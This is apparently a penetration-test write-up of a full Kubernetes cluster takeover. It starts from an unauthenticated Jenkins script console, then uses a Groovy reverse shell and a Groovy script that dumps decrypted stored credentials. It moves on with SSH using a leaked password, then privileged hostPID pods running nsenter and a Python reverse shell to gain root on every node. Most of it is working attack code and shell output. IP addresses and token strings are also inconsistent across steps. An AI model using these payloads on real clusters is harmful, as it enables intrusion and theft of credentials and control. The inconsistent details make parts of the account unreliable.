

## 2.3. Container Escape to Full Kubernetes Takeover

by: Antonius (w1sdom)

<https://github.com/bluedragonsecurity>

<https://www.bluedragonsec.com>

In this example, I am writing documentation for when one of my clients asked me to perform penetration testing on their Kubernetes environment which had weak security. Please note: this is not a penetration test conducted by a team but only by myself alone. I apologize in advance if many techniques were not executed perfectly because this is just a hack by one person.

### Overview of Kubernetes

Kubernetes (often abbreviated as K8s) is a very powerful open-source orchestration system for managing containers automatically.

Kubernetes architecture typically consists of 1 master node as the center and several worker nodes.

#### This architecture consists of several components:

**kube-apiserver:** The main entry point. All communication (from users or internal components) goes through this API.

**etcd:** A highly reliable key-value data storage. This is the "single source of truth" that stores the entire cluster state.

**kube-scheduler:** Responsible for monitoring new Pods and selecting which Node is most suitable to run the Pod based on available resources.

**kube-controller-manager:** Runs background processes to keep the cluster state stable (for example, if a Node dies, it will try to revive Pods on another Node).

**Kubelet:** An agent that runs on each Node. It ensures that containers that should be running there are actually healthy and functioning.

**Container Runtime:** Software that runs containers (most popular are containerd or CRI-O).

**Pod:** The smallest unit in Kubernetes. Pods wrap one or more containers.

In this example, the client provided the internal IP address of one of their nodes, namely node 2 with IP 192.168.0.2

### Step 1. Initial Access

Based on port scan results, an open port 30080 was found at IP 192.168.0.2. Upon inspection, this turned out to be a Jenkins dashboard without password protection:

The screenshot shows the Jenkins dashboard at the URL <http://192.168.0.2:30080>. The main area displays a table of build history. The columns are labeled: S (Status), W (Last Result), Name (deploy-terra-cloud-backend, test, test-02), Last Success (11 hr #253, 9 hr 8 min #3, 1 mo 3 days #209), Last Failure (11 hr #252, N/A, 22 hr #285), and Last Duration (47 min, 9.4 sec, 9 min 15 sec). There are also 'All' and '+' buttons above the table, and an 'Icon' dropdown menu below it.

| S | W | Name                       | Last Success     | Last Failure | Last Duration |
|---|---|----------------------------|------------------|--------------|---------------|
|   |   | deploy-terra-cloud-backend | 11 hr #253       | 11 hr #252   | 47 min        |
|   |   | test                       | 9 hr 8 min #3    | N/A          | 9.4 sec       |
|   |   | test-02                    | 1 mo 3 days #209 | 22 hr #285   | 9 min 15 sec  |

To get into this Jenkins container is very easy, we can use the script console:

<http://192.168.0.2:30080/manage/script>

Next, we fill it with a Groovy script to perform a reverse shell to our IP:

```
String host="192.168.0.10";
int port=2000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
    try {p.exitValue();break;} catch (Exception e){}
}
p.destroy();
s.close();
```

Before executing the script console in Jenkins, I prepared a netcat listener on port 2000:

nc -l -p 2000 -v

After running the Groovy script in the script console, I successfully obtained a reverse shell:

```
sh-5.1# nc -l -p 2000 -v
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::2000
Ncat: Listening on 0.0.0.0:2000
Ncat: Connection from [REDACTED]
Ncat: Connection from [REDACTED]
id
uid=0(root) gid=0(root) groups=0(root)
ps aux
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        1  0.0  0.0  2580  1280 ?          Ss  11:29  0:00 /usr/bin/tini -- /usr/local/bin/jenkins.sh --httpPort=9090
root       16  0.0  0.0   756   488 ?          S   11:29  0:00 /usr/bin/dockerd
root       17  1.4  7.7 6836272 919460 ?          Sl  11:29  8:09 java -Duser.home=/var/jenkins_home -Djenkins.install.runSet
Asia/Shanghai -Djenkins.model.Jenkins.slaveAgentPort=50000 -Dhudson.lifecycle=hudson.lifecycle.ExitLifecycle -jar /usr/share/j
9090
root       60  172 20.3 2445436 2408576 ?          Sl  11:29 968:44 /usr/bin/dockerd
root      814  0.0  0.0   4640  3200 ?          S   12:42  0:00 /bin/bash
root     3616  0.0  0.0   4640  3200 ?          S   20:51  0:00 /bin/bash
root     3619  0.0  0.0   6800  3968 ?          S   20:51  0:00 ps aux
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
```

As seen here, we gained access as root but are inside a container environment. However, what connected was the IP of the fourth node (192.168.0.4).

## Step 2. Container Escape

The next step is to escape from the container. My first test was to check if docker.sock exists:

```
ls -la /var/run/docker.sock
ls: cannot access '/var/run/docker.sock': No such file or directory
```

Turns out it doesn't exist, which indicates this is a modern Kubernetes setup.

Next:

```
cat /proc/net/unix | grep docker
0000000000000000: 00000002 00000000 00010000 0001 01 12336
/var/run/docker/metrics.sock
0000000000000000: 00000002 00000000 00010000 0001 01 8564 /run/docker.sock
0000000000000000: 00000002 00000000 00010000 0001 01 13348
/var/run/docker/libnetwork/ee2ae38b2a4c.sock
0000000000000000: 00000003 00000000 00000000 0001 03 1197798
/run/docker.sock
0000000000000000: 00000003 00000000 00000000 0001 03 1197811
/run/docker.sock
0000000000000000: 00000003 00000000 00000000 0001 03 868647 /run/docker.sock
```

But it turns out it doesn't exist:

```
ls /run/docker.sock
ls: cannot access '/run/docker.sock': No such file or directory
```

Tests with nsenter were attempted but failed.

Actually, I could check the mounts in this container, but I wanted to first try to obtain credential data from Jenkins using the CloudBees plugin. I entered this into the script console:

```
def creds =
com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.Credentials.class,
    jenkins.model.Jenkins.instance,
    null,
    null
);
for (c in creds) {
    if (c instanceof
com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl) {
        println "ID: ${c.id} | User: ${c.username} | Pass: ${c.password.plainText}"
    } else if (c instanceof
org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl) {
        println "ID: ${c.id} | Secret String: ${c.secret.plainText}"
    } else if (c instanceof
com.cloudbees.plugins.credentials.impl.CertificateCredentialsImpl) {
        println "ID: ${c.id} | Certificate Password: ${c.password.plainText}"
    }
}
```

The result:

## Result

```
--- Daftar Kredensial Terdekripsi ---
ID: 1 | User: 18583968986 | Pass: H[REDACTED]
ID: 2 | Secret String:
eyjhbgc1o1jsuziin1isimtpZCI6ImRTTUEyT0JTT1FjaGN00G1fMmxqRmNGNm9mUKVwZFJmwKpsNlFLV043NDg1fQ.eyJpc3Mi0iJrdWJlcml5dGVzL3NlcnP2VhY2NvdW50Iiwiia3V1ZXJuZXRLcy5P
uY1l1cBHy2U10iJrdwJlcml5dGVzLwhc2h1b2FyZC1sImt1YmVybmv0ZXMua8vvc2VydmljZWFIy291bnQvC2VjcmV0Lm5hbWU10iJhZG1pbil1c2V1iwiia3V1ZXJuZXRLcy5pbv92ZXJ2awNlyWnjb3
nQubmFtZ5i61mfkbwlLuLXVzX1i1cJrdwJlcml5dGVzLmlvL3NlcnP2VhY2NvdW50L3NlcnP2tYmWjb3VudC51aW010iJkNjBLN20zNiimy202LT0xZTEtOGVlNC1mZm1YwVhNzgnMDailCJzdwIi
jY291bnQ6a3ViZXJuZXRLcy1kYXNoYm9hcmQ6YWRtaW4tdXNlcj9.Fk1hTR1AmqDjNPzhRC3V00tEdx1FqQXByq5AYf7DoVobiXn0Y0qkm3J9WwrvyV5eScwBqNtz_CU14s0jKHIMx18ECKo1h5DsadkDL
po8mm7cP6K1brPnV0HALvP6_cLBRLwgOK2o6bVRAEQEsstWARd1G-
Gdo0WMZ9V74HVBw_PkmIHx1wf9msxtk02w7znCEMCYJB5JQs16PbGyPRZcdVN3amYw64eFY2TLyM89RUVJec5i7SzLgSF_-68QWurgDRjiv46ZHnr7LZIoBidztCuV5eKF8fuQPTPnzWsl-0L0qrHUKRD
ID: kube-terra-admin-sa | Secret String:
eyjhbgc1o1jsuziin1isimtpZCI6ImRTTUEyT0JTT1FjaGN00G1fMmxqRmNGNm9mUKVwZFJmwKpsNlFLV043NDg1fQ.eyJpc3Mi0iJrdwJlcml5dGVzL3NlcnP2VhY2NvdW50Iiwiia3V1ZXJuZXRLcy5P
uY1l1cBHy2U10iJrdwJlcml5dGVzLwhc2h1b2FyZC1sImt1YmVybmv0ZXMua8vvc2VydmljZWFIy291bnQvC2VjcmV0Lm5hbWU10iJhZG1pbil1c2V1iwiia3V1ZXJuZXRLcy5pbv92ZXJ2awNlyWnjb3
nQubmFtZ5i61mfkbwlLuLXVzX1i1cJrdwJlcml5dGVzLmlvL3NlcnP2VhY2NvdW50L3NlcnP2tYmWjb3VudC51aW010iJkNjBLN20zNiimy202LT0xZTEtOGVlNC1mZm1YwVhNzgnMDailCJzdwIi
jY291bnQ6a3ViZXJuZXRLcy1kYXNoYm9hcmQ6YWRtaW4tdXNlcj9.Fk1hTR1AmqDjNPzhRC3V00tEdx1FqQXByq5AYf7DoVobiXn0Y0qkm3J9WwrvyV5eScwBqNtz_CU14s0jKHIMx18ECKo1h5DsadkDL
po8mm7cP6K1brPnV0HALvP6_cLBRLwgOK2o6bVRAEQEsstWARd1G-
Gdo0WMZ9V74HVBw_PkmIHx1wf9msxtk02w7znCEMCYJB5JQs16PbGyPRZcdVN3amYw64eFY2TLyM89RUVJec5i7SzLgSF_-68QWurgDRjiv46ZHnr7LZIoBidztCuV5eKF8fuQPTPnzWsl-0L0qrHUKRD
ID: git-user-password | User: 18583968986 | Pass: H[REDACTED]
--- Selesai ---
```

There are 2 interesting pieces of information. There's a possibility of a token for kubectl, which we'll save for now. There's a decrypted password, which is likely the SSH password for node 4 with IP 192.168.0.4.

Next, I just tried to access SSH and successfully got in:

```
root@robonax-zubwszng00:~ [1] root@robonax-zubwszng00:~ [2] root@robonax-zubwszng00:~ [3]
```

root@terra-node-04:~# hostname  
terra-node-04  
root@terra-node-04:~# uname -a  
Linux terra-node-04 6.8.0-87-generic #88-Ubuntu SMP PREEMPT\_DYNAMIC Sat Oct 14 11:44:20 UTC 2023 root@terra-node-04:~#

OK, we successfully escaped from the container to the actual server via SSH.

### Step 3. Viewing Controller Node and Worker Nodes in Kubernetes

To view all nodes, we use kubectl:

```
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes
```

```
root@terra-node-04:~# kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes
NAME      STATUS    ROLES      AGE     VERSION
terra-node-01 Ready     control-plane   118d   v1.28.2
terra-node-02 Ready     worker      65d    v1.28.2
terra-node-03 Ready     worker      72d    v1.28.2
terra-node-04 Ready     worker      5d6h   v1.28.2
root@terra-node-04:~#
```

Ok kita berhasil escape dari container ke server asli melalui ssh

Now that we're on node 4, the next step is to attempt lateral movement to node 1, node 2, and node 3 with the main goal of vertical movement to node 1!

#### Network details:

terra-node-01: 192.168.0.1 is the control plane node  
terra-node-02: 192.168.0.2 is a worker node  
terra-node-03: 192.168.0.3 is a worker node  
terra-node-04: 192.168.0.4 is a worker node

At each node, I tried using the same root SSH password as node 4 but couldn't log in. So we'll use another method.

## Step 4. Direct Vertical Movement to Control Plane

Next, we will create a pod using the access key we saved earlier, namely the kube-terra-admin-sa token.

From node 4, we just run kubectl with the token we saved. First, prepare a netcat listener on port 2000 at 192.168.0.10:

```
nc -l -p 2000 -v
```

Then from node 04, we run kubectl with the token we saved:

```
kubectl --server=https://192.168.0.1:6443 --  
token="eyJhbGciOiJSUzI1NlslmtpZCI6ImRTTUEyT0JTT1FjaGN0OG1fMmxqRmN  
GNm9mUkVwZFJmWkpsNIFLV043NDgifQ.eyJpc3MiOiJrdWJlcmt5IdGVzL3NlcnZp  
Y2VhY2NvdW50liwia3ViZXJuZXRIcy5pbby9zZXJ2aWNlYWNb3VudC9uYW1Ic3BhY  
2UiOjJrdWJlcmt5IdGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaw8vc2VydmljZ  
WFjY291bnQvc2VjcmV0Lm5hbWUiOjJhZG1pbii1c2Vylwia3ViZXJuZXRIcy5pbby9z  
ZXJ2aWNlYWNb3VudC9zZXJ2aWNlWFjY291bnQubmFtZSI6ImFkbWluLXVzZXliL  
CJrdWJlcmt5IdGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51a  
WQiOjJkNjBIN2QzNi1mY2QzLTQxZTEtOGVINC1mZmY1YWVhNzgwMDAiLCJzdWI  
iOjzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZXJuZXRIcy1kYXNoYm9hcmQ6YWR  
taW4tdXNlciJ9.FklhTRiAmqDjNPzhRC3VQ0tEdXiFqQXByQ5AYf7DoVobiXn0Y0qK  
m3J9WWrVvY5eSCwBqNtZ_CU14s0jkH1Mx18ECKo1hSDsadKDLwITXiAg1hp1ebt  
xQaNJynPupo8mm7cP6KibrPnV0HAIvp6_cL8RLwgOK2o6bVRAEQEsstWARAdIG-  
GdoOWMZ9V74HVbw_PkmIHxIwFg9msxtKOzw7znCEMCYJB5JQsl6PbGyPRZcdV  
N3amYw64eFYZTLYM89RUVJec5i7SZLgSF_-68QWwrgDRjiv46ZHZNr7LZloBidztCu  
V5eKF8fUQPTPnzWsl-0LOqrHUKRDbywC4Yk9w" --insecure-skip-tls-verify run  
pwn-master --restart=Never -it --image=alpine --overrides='  
{  
  "spec": {  
    "nodeName": "terra-node-01",  
    "hostPID": true,  
    "containers": [  
      {  
        "name": "pwn",
```

```

    "image": "alpine",
    "command": ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net",
"--", "/bin/bash", "-c", "python3 -c \\\"import
socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"192.168.0.10\\",
\\\",2000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(
\\\"/bin/bash\\\")\\\""],
    "securityContext": {
      "privileged": true
    }
  ]
}

```

The pod creation command above will run a reverse shell on the control plane node (node 01) to IP 192.168.0.10.

The result:

The screenshot shows a terminal window with three tabs. The active tab is titled 'robohax@robohax-20bws2ng00:'. It displays the following output:

```

Session Actions Edit View Help
root@robohax-20bws2ng00: ~ ✘ robohax@robohax-20bws2ng00: ~ ✘ robohax@robohax-20bws2ng00: ~ ✘
root@syncrumweb:~# nc -l -p 2000 -v
Listening on 0.0.0.0 2000
Connection received on 192.168.0.10 35002
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@terra-node-01:/# id
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp)
root@terra-node-01:/# uname -a
Linux terra-node-01 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:5
root@terra-node-01:/# █
  "name": "pwn",
  "image": "alpine",
  "command": ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--", "/bin/bash", "-c", "python3 -c \\\"import
socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"192.168.0.10\\",
\\\",2000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(
\\\"/bin/bash\\\")\\\""],
  "securityContext": {
    "privileged": true
  }
}

```

**OK, game over! We have successfully taken control of the control plane node!**

Next, lateral movement to node 2 and node 3 is just child's play and very easy.

```

root@terra-node-04:~# kubectl --server=https://192.168.1.41:6443 --token="eyJhbGciOiJSUzI1NiIsImtpZCI6ImRTTUEyT43NDgifQ.eyJpc3MiOiJrdWJlcmsldGVzL3NlcnPzYVhY2Nvdw50Iiwia3ViZXJuZXRLcy5pbv9zZXJ2aWNLYWNjb3VudC9uYW1lc3BhY2UiOjIaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOjJhZG1pbpi1c2VyIiwia3ViZXJuZXRLcy5pbv9zZXJ2aWNLYWNjb3VudC9zZXJ2aWNLLWFjGVzLmlvL3NlcnPzY2VhY2Nvdw50L3NlcnPzY2UtYWNjb3VudC51aWQiOjJkNjBLN2QzNimY2QzLTQxZTEtOGVlNC1mZmY1YWVhNzgwMDAiLCJzdRlcY1kYXNoYm9hcmQ6YWRTaW4tdXNlcij9.Fk1hTRiAmqDjNPzhRC3VQ0tEdXiFqQXByQ5AYf7DoVobiXn0Y0qKn3J9WWrVvY5eSCwBqNtz_CU14Pupo8mm7cP6KibrPnV0HALVP6_cL8RLwg0K2o6bVRaeQEsstWArAdIG-GdoOWMz9V74HVbw_PkmIHxiwFg9msxtKOzw7znCEMCYJB5JQsl6PbGyPrgDRjiv46ZHzn7LZIoBidztCuV5eKF8fUQPTPnzWsl-0LOqrHukRDbywC4Yk9w" --insecure-skip-tls-verify run wisdom2-pod --re
{
  "spec": {
    "nodeName": "terra-node-02",
    "hostPID": true,
    "containers": [
      {
        "name": "pwn",
        "image": "alpine",
        "command": ["nsenter", "--target", "1", "--uts", "--ipc", "--net", "--", "/bin/bash", "-c", "socket(AF_INET,socket.SOCK_STREAM);s.connect((\"\\\"192.168.1.41\\\"\\\",2000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"\\\"/bin/bash\\\"\\\")"],
        "securityContext": {
          "privileged": true
        }
      }
    ]
  }
}

error: Unable to use a TTY - container pwn did not allocate one
If you don't see a command prompt, try pressing enter.

```

## Node 2:

```

root@robohax-20bws2ng00: ~ ✘ robohax@robohax-20bws2ng00: ~ ✘ robohax@robohax-20bws2ng00: ~ ✘
root@syncrumweb:~# nc -l -p 2000 -v
Listening on 0.0.0.0 2000
Connection received on 139.155.123.72 49532
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@terra-node-02:/# id
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(daemon)
root@terra-node-02:/# uname -a
uname -a
Linux terra-node-02 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 22 10:45:00 UTC 2022 root@terra-node-02:/# 
root@terra-node-02:/# 

```

## Node 3:

```
root@syncrumweb:~# nc -l -p 2000 -v
Listening on 0.0.0.0 2000
Connection received on 192.168.1.11 51778
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@terra-node-03:/# id
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),100
root@terra-node-03:/# uname -a
uname -a
Linux terra-node-03 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01
root@terra-node-03:/#
```

## Conclusion

With this, all nodes in this Kubernetes network have been successfully taken over. Next step is to create a penetration testing report. *Thank you*